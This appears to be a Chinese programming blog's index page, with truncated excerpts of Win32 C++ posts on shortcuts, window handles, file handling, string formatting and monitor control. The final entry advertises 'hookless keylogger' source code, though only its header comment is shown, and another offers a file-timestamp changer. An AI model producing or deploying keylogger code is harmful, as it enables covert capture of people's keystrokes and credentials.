c++ 桌面 创建快捷方式
admin | win32 | 2013-12-25
C++
struct TShortcutCfg
{
// 构造函数
TShortcutCfg()
{
nShowCmd = SW_SHOWNORMAL;
wHotKey = 0;
nIconIndex = 0;
}
// 结构成员:
AnsiString strShortcutName; //
AnsiString strLnkDir; //
AnsiString strDestFile; //
AnsiString strArgument... [阅读全文]
Win32 API–窗口函数
admin | win32 | 2013-12-24
一、 关于窗口函数
在上一堂课里,我们已经提出了”句柄”的概念,并为此进行了较深度的讨论。现在来想,我要补充的是,句柄并非是仅仅是窗口才有的。似乎所有的WINDOWS对象都具有句柄。如,GDI对象中的画笔、刷子等,不久即将要学习的设备场景等也有自己的句柄,等等。但,和一些控件不同,这些对象并不属于窗口。
什么是窗口呢?有一句非常... [阅读全文]
win32 调用浏览器打开网址
admin | win32 | 2013-12-23
C++
void OpenUrl(LPCWSTR url, bool isDefaultIe)
{
if(isDefaultIe)
{
HINSTANCE result = ::ShellExecute(NULL, NULL, L"iexplore.exe", url, NULL, SW_SHOW);
if ((int)result <= HINSTANCE_ERROR)
result = ::ShellExecute(NULL, L"open", url, NULL, NULL, SW_SHOW);
... [阅读全文]
VC++中使用内存映射文件处理大文件
admin | win32 | 2013-12-02
引言
文件操作是应用程序最为基本的功能之一,Win32 API和MFC均提供有支持文件处理的函数和类,常用的有Win32 API的CreateFile()、WriteFile()、ReadFile()和MFC提供的CFile类等。一般来说,以上这些函数可以满足大多数场合的要求,但是对于某些特殊应用领域所需要的动辄几十GB、几百GB、乃至几TB的海量存储,再以通常的文件处理方法进行处理显然是行不... [阅读全文]
CString.Format的详细用法
admin | win32 | 2013-12-02
在MFC程序中,使用CString来处理字符串是一个很不错的选择。CString既可以处理Unicode标准的字符串,也可以处理ANSI标准的字符串。CString的Format方法给我们进行字符串的转换带来了很大的方便,比如常见的int、float和double这些数字类型转换为CString字符串只需一行代码就可以实现。
先看看Format用于转换的格式字符:
%c 单个字符
%... [阅读全文]
屏蔽win+D变成最小化
admin | win32 | 2013-11-21
C++
SetParent()设置桌面窗口为父窗口
HWND hWnd = ::FindWindow(_T("Progman"), NULL);
if(NULL == hWnd)
{
return ;
}
hWnd = ::FindWindowEx(hWnd, NULL, _T("SHELLDLL_DefView"), NULL);
if(NULL == hWnd)
{
return ;
}
hWnd = ::FindWindowEx(hWnd, NULL, _T("SysListView32"), NULL);
if(NUL... [阅读全文]
文件时间修改器源码
admin | win32 | 2013-10-17
C++
// setTime.cpp : Defines the entry point for the console application.
//
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
void usage()
{
system("cls.exe");
printf("-------------------------------------------------------\n"
"\tsetTime Ver 1.0 zhouzhen[E... [阅读全文]
控制显示器代码
admin | win32 | 2013-10-17
C++
/////////////////////以下代码在DEV C++编译成功////////
#include <stdio.h>
#include <windows.h>
int Display()
{
SendMessage(FindWindow(0,0), WM_SYSCOMMAND, SC_MONITORPOWER, 2); //关闭显示器 根据MSDN,这个参数如果是1,则 表示显示器处于低能耗状态。
Sleep(100000);
SendMessag... [阅读全文]
纯真版IP数据库查询代码
admin | win32 | 2013-10-17
C++
//纯真版IP数据库检索程序
//code by davies
//patch by Julien Woo
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <sstream>
#include <iostream>
#include <fstream>
#include <strstream>
using namespace std;
typedef unsigned in... [阅读全文]
无钩子的键盘记录例子代码
admin | win32 | 2013-10-17
C++
//**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: Hookless Keylogger
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
// Limitation: More Us... [阅读全文]